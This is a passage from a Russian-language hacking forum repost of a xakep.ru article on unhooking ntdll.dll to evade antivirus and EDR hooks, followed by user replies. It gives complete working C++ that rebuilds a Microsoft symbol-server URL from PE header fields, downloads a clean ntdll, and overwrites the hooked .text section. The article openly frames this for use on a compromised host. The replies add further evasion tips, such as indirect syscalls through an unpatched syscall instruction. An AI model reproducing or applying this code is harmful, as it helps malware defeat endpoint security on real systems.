Нам остается лишь разобраться, как генерируются ссылки. С ходу этого сделать не получилось. Предпоследняя часть URL — не более чем непонятный набор символов.
Код:
...dll/283EB25D1ef000/ntdll...
Код:
...dll/54219A10209000/ntdll...
Вручную перебрав все ссылки с первой страницы (не на питоне же автоматизировать, в самом деле, мы ведь серьезные люди), заметил, что у двух ссылок есть повторяющиеся в конце шесть символов.
Код:
...dll/2451EFDD1af000/ntdll...
Повторяющиеся символы 1

Код:
...dll/4028FADC1af000/ntdll...
Повторяющиеся символы 2

Наученный горьким опытом решения стеганографического чуда на CTF, мой воспаленный мозг понимает, что это зацепка. Копируем эти символы и начинаем искать. Обнаруживаем интересную кнопку Show, которая позволяет получить больше информации о файле. Наш 1af000 нигде не встречается, но попробуем конвертировать из HEX в десятичное значение. И фортуна посмотрела в нашу сторону! Это оказался параметр virtualSize.

Обнаружение смысла второй части

Вычленяем первую часть, также конвертируем ее в десятичное значение и узнаем, что это timestamp.

Обнаружение смысла первой части

Остается лишь додуматься, как получить эти данные. У ntdll.dll тоже обычный PE, поэтому стоит глядеть именно в эту сторону. Временную метку получится извлечь из структуры IMAGE_FILE_HEADER.

Откуда брать timestamp

А размер получаем из элемента SizeOfImage структуры IMAGE_OPTIONAL_HEADER.

Откуда брать размер

Есть еще SizeOfCode, но это размер непосредственно кодовой части. Я подозреваю, что секции .text, поэтому она нам не подходит. Нужен размер всего образа файла ntdll.dll.

Поэтому остается лишь запрашивать эту информацию из системы, а затем генерировать URL определенного вида.
Код:
https://msdl.microsoft.com/download/symbols/ntdll.dll/`strconcat(hex(IMAGE_FILE_HEADER TimeStamp), hex(IMAGE_OPTIONAL_HEADER SizeOfImage))`/ntdll.dll
После чего, используя WinHTTP, качаем нужную библиотеку и внедряем в свое адресное пространство ее секцию .text взамен хукнутой. Алгоритм получения библиотеки с сервера тоже укладывается в одну маленькую функцию.
Код:
#include <algorithm>
#include <string>
#define FIXED_URL   L"https://msdl.microsoft.com/download/symbols/ntdll.dll/"
BOOL ReadNtdllFromServer(OUT PVOID* ppNtdllBuf) {
    PBYTE      pNtdllModule             = (PBYTE)FetchLocalNtdllBaseAddress();
    PVOID      pNtdllBuffer             = NULL;
    SIZE_T     sNtdllSize               = NULL;
    WCHAR      szFullUrl [MAX_PATH]     = { 0 };
    // Получаем параметры хукнутой ntdll.dll
    PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pNtdllModule;
    if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
        return NULL;
    PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pNtdllModule + pImgDosHdr->e_lfanew);
    if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
        return NULL;
    // Качаем нехукнутую ntdll.dll
    wsprintfW(szFullUrl, L"%s%0.8X%0.4X/ntdll.dll", FIXED_URL, pImgNtHdrs->FileHeader.TimeDateStamp, pImgNtHdrs->OptionalHeader.SizeOfImage);
    if (!GetPayloadFromUrl(szFullUrl, &pNtdllBuffer, &sNtdllSize))
        return FALSE;
    *ppNtdllBuf = pNtdllBuffer;
    return TRUE;
}
Отдельно я вынес функцию GetPayloadFromUrl(), которая принимает URL для скачивания ntdll.dll, а возвращает указатель на адрес в памяти, где будет лежать либа размером sNtdllSize.
Код:
BOOL GetPayloadFromUrl(IN LPCWSTR szUrl, OUT PVOID* pNtdllBuffer, OUT PSIZE_T sNtdllSize) {
    BOOL        bSTATE          = TRUE;
    HINTERNET   hInternet       = NULL,
                hInternetFile   = NULL;
    DWORD       dwBytesRead     = NULL;
    SIZE_T      sSize           = NULL;
    PBYTE       pBytes          = NULL,
                pTmpBytes       = NULL;
    hInternet = InternetOpenW(L"info", NULL, NULL, NULL, NULL);
    if (hInternet == NULL) {
        printf("[!] InternetOpenW Failed With Error : %d \n", GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
    }
    hInternetFile = InternetOpenUrlW(hInternet, szUrl, NULL, NULL, INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, NULL);
    if (hInternetFile == NULL) {
        printf("[!] InternetOpenUrlW Failed With Error : %d \n", GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
    }
    pTmpBytes = (PBYTE)LocalAlloc(LPTR, 1024);
    if (pTmpBytes == NULL) {
        bSTATE = FALSE; goto _EndOfFunction;
    }
    while (TRUE) {
        if (!InternetReadFile(hInternetFile, pTmpBytes, 1024, &dwBytesRead)) {
            printf("[!] InternetReadFile Failed With Error : %d \n", GetLastError());
            bSTATE = FALSE; goto _EndOfFunction;
        }
        sSize += dwBytesRead;
        if (pBytes == NULL)
            pBytes = (PBYTE)LocalAlloc(LPTR, dwBytesRead);
        else
            pBytes = (PBYTE)LocalReAlloc(pBytes, sSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
        if (pBytes == NULL) {
            bSTATE = FALSE; goto _EndOfFunction;
        }
        memcpy((PVOID)(pBytes + (sSize - dwBytesRead)), pTmpBytes, dwBytesRead);
        memset(pTmpBytes, '\0', dwBytesRead);
        if (dwBytesRead < 1024) {
            break;
        }
    }
    *pNtdllBuffer   = pBytes;
    *sNtdllSize     = sSize;
_EndOfFunction:
    if (hInternet)
        InternetCloseHandle(hInternet);
    if (hInternetFile)
        InternetCloseHandle(hInternetFile);
    if (hInternet)
        InternetSetOptionW(NULL, INTERNET_OPTION_SETTINGS_CHANGED, NULL, 0);
    if (pTmpBytes)
        LocalFree(pTmpBytes);
    return bSTATE;
}
Функция открывает интернет‑сессию, после чего читает куски размером 1024 байта до тех пор, пока не будет считано меньше 1024 байтов. Если считано меньше 1024 байт, значит, весь файл был успешно передан и можно закрывать сессию.

Несмотря на то что нехукнутая ntdll.dll будет считываться с веб‑сервера, оффсет секции .text невозможно знать заранее. Он то 1024, то 4096. Поэтому используем код из раздела с чтением библиотеки из диска — будем опять проверять начальные байты по оффсету 1024, если совпадут, то копируем по этому адресу, если нет, то добавляем 3072.
Код:
BOOL ReplaceNtdllTxtSection(IN PVOID pUnhookedNtdll) {
    PVOID   pLocalNtdll = (PVOID)FetchLocalNtdllBaseAddress();
    PIMAGE_DOS_HEADER   pLocalDosHdr = (PIMAGE_DOS_HEADER)pLocalNtdll;
    if (pLocalDosHdr && pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
        return FALSE;
    PIMAGE_NT_HEADERS   pLocalNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pLocalNtdll + pLocalDosHdr->e_lfanew);
    if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE)
        return FALSE;
    PVOID     pLocalNtdllTxt = NULL,
        pRemoteNtdllTxt = NULL;
    SIZE_T    sNtdllTxtSize = NULL;
    PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pLocalNtHdrs);
    for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i++) {
        // if( strcmp(pSectionHeader[i].Name, ".text") == 0 )
        if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.') {
            pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll + pSectionHeader[i].VirtualAddress);
            pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll + 1024);
            sNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize;
            break;
        }
    }
    if (!pLocalNtdllTxt || !pRemoteNtdllTxt || !sNtdllTxtSize)
        return FALSE;
    if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt) {
        pRemoteNtdllTxt = (PVOID)((char*)pRemoteNtdllTxt + 3072);
        if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)
            return FALSE;
    }
    DWORD dwOldProtection = NULL;
    if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, PAGE_EXECUTE_WRITECOPY, &dwOldProtection)) {
        printf("[!] VirtualProtect [1] Failed With Error : %d \n", GetLastError());
        return FALSE;
    }
    memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);
    if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, dwOldProtection, &dwOldProtection)) {
        printf("[!] VirtualProtect [2] Failed With Error : %d \n", GetLastError());
        return FALSE;
    }
    return TRUE;
}
Обрати внимание, что на функции ReadNtdllFromServer() программа может как бы зависнуть. Не переживай, она работает, качает нужную библиотеку.
Успешное скачивание библиотеки

Этот способ, думаю, самый удобный. Его главный недостаток в том, что требуется доступ в интернет со скомпрометированного хоста.
Полный код реализации для твоих собственных экспериментов я также прикладываю:
  • NtdllFromWEbsite.cpp — подгрузка с winbindex.m417z.com;
  • NTDLLReflection — подгрузка с иного ресурса, ты должен будешь сам поднять веб‑сервер.

ВЫВОДЫ​

Помни, что анхукинг — это не более чем один из множества способов обхода хуков. Причем умные антивирусы умеют восстанавливать хуки, если обнаруживают, что кто‑то их снял. На любое действие найдется противодействие, но в данном случае это приглашение к новому действию!

Автор @MichelleVermishelle
источник xakep.ru
 
Снятие хуков полным переписывание секции кода ведёт к проблеме с релоками. Хуки надо снимать точечно, а не всё подряд.

Ну и опять же, всё это круто стильно молодёжно, но основная проблема это запуск нашего кода вообще в принципе, т.к смартскрин и прочие приколы будут только ужесточать контроль за новыми файлами.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Снятие хуков полным переписывание секции кода ведёт к проблеме с релоками. Хуки надо снимать точечно, а не всё подряд
Да их в целом не нужно снимать, имхо. Во-первых, при снятии хуков нужно по хорошему все потоки тормозить, так как возможен рейс-кондишн, когда мы переписываем то, что другой поток в этот момент исполняет. Но это тоже довольно странно выглядит с точки зрения анализа поведения. Во-вторых, если авер проверяет собственные хуки, то для него факт снятия хука по сути должен быть однозначным детектом, и нужно сразу такой процесс прибить. Куда лучше выглядит: найти номера нужных сисколлов одним из способов, найти непропатченную инструкцию сисколл в ntdll (чтобы не делать сисколл из какого-то левого места), и прыгать на нее джампом из своего кода, предварительно приготовив номер сисколла.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх